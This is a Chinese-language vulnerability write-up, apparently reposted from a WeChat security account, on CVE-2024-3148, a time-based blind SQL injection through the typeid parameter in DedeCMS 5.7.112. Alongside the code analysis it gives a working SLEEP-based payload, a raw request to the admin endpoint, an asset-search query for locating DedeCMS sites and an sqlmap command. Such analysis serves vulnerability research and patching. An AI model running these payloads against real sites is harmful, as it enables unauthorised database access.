织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请联系。
由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
漏洞详情
织梦
DEDECMS 5.7.112 版本的 MAKEHTML_ARCHIVES_ACTION.PHP 存在 SQL 延时注入漏洞。
源码地址
https://www.dedecms.com/download
影响版本
V5.7.112(2023年12月1日更新版本)
漏洞代码存在位置
dede/makehtml-archives action. php
注入参数:typeid
资产测绘
app=“dedecms”
漏洞分析
0x01 织梦
DEDECMS 5.7.112
SQL延时注入
CVE-2024-3148
首先,我们找到存在漏洞的项目文件 dede/makehtml-archives action.php,发现后端首先接收并预处理传入的参数。可以看到,这里仅将参数设置为 null 值,没有进行正则过滤或其他过滤。接着,我们继续向下查看。
在这里,定义了一个用于 $idSQL 的 SQL 查询字符串,首先将其赋予空值,然后根据从 $gwhere 获取的条件值进行连接。需要注意的是,在这里捕获了一个名为 $typeid 的参数。当我们向 $typeid 传递一个参数时,其初始值不会是 0,并且它将进入 if 逻辑代码段。在这段代码中,$ids=GetSonIds ($typeid); 将捕获到的 $typeid 参数传递给 GetSonIds() 进行处理,以获取其所有子栏目,将参数 $ids 传递给 GetSonIds() 时没有进行任何正则过滤,然后直接将其连接到 $gwhere 中,形成条件语句:"AND typeid in ($ids)";
未闭合的引号使全局的 addlashes() 函数无效。
没有任何正则匹配过滤规则。
使用 () 进行闭合没有预编译。
直接将其连接到 SQL 执行语句中以进行执行。
以上四点构成了 SQL 注入的必要条件。以下是本地环境验证过程。请注意,只能传递一个 typeid 参数,否则由于其他参数的影响,SQL 条件序列将会改变,导致列更新时间过长,无法注入访问本地路由。
(注意:gatsby.com 是本地域名)
http://gatsby.com/dedecms/dede/makehtml_archives_action.php?typeid=1
接下来,我们使用 Bp来验证漏洞,并构造一个使用 () 闭合的表达式payload进行验证。
Payload: ?typeid=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)
延时分析:
if($totalnum==0)
{
$row = $dsql->GetOne("SELECT COUNT(*) AS dd FROM `#@__arctiny` $idsql");
$totalnum = $row['dd'];
$dsql->ExecuteNoneQuery("DELETE FROM `#@__arccache` ");
}
从上面看出,当我们尝试进行延迟注入时,SQL 查询将被操纵以造成延迟。延迟会发生两次,一次是在计算总记录数时,另一次是在清除缓存时。因此,下面是验证过程中的数据包。
GET /dedecms/dede/makehtml_archives_action.php?typeid=1 HTTP/1.1
Host: gatsby.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1%2C5_1%2C6_1; last_vtime=1707197362; last_vtime1BH21ANI1AGD297L1FF21LN02BGE1DNG=fc3dc2a4ef75e66d; last_vid=sec%2Csec; last_vid1BH21ANI1AGD297L1FF21LN02BGE1DNG=06a2513292081902; lastCid=17; lastCid1BH21ANI1AGD297L1FF21LN02BGE1DNG=673119b845af569a; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=8b1d56792128e24d; DedeLoginTime=1707274662; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=346b5645435a6323; PHPSESSID=decfeerek8l7sh7860b17m4650; _csrf_name_386c7f53=f67a81cfb4242d5b1d3b3c1f8c2336e5; _csrf_name_386c7f531BH21ANI1AGD297L1FF21LN02BGE1DNG=bbefc5ce8b74e6b5
Upgrade-Insecure-Requests: 1
无延迟
延时2秒,延时两次~
延时3秒,延时两次
使用Sqlmap命令(此处域名为本地搭建)
py sqlmap.py -r url.txt --bath --dbms=mysql --is-dba
原文始发于微信公众号(不秃头的安全):漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论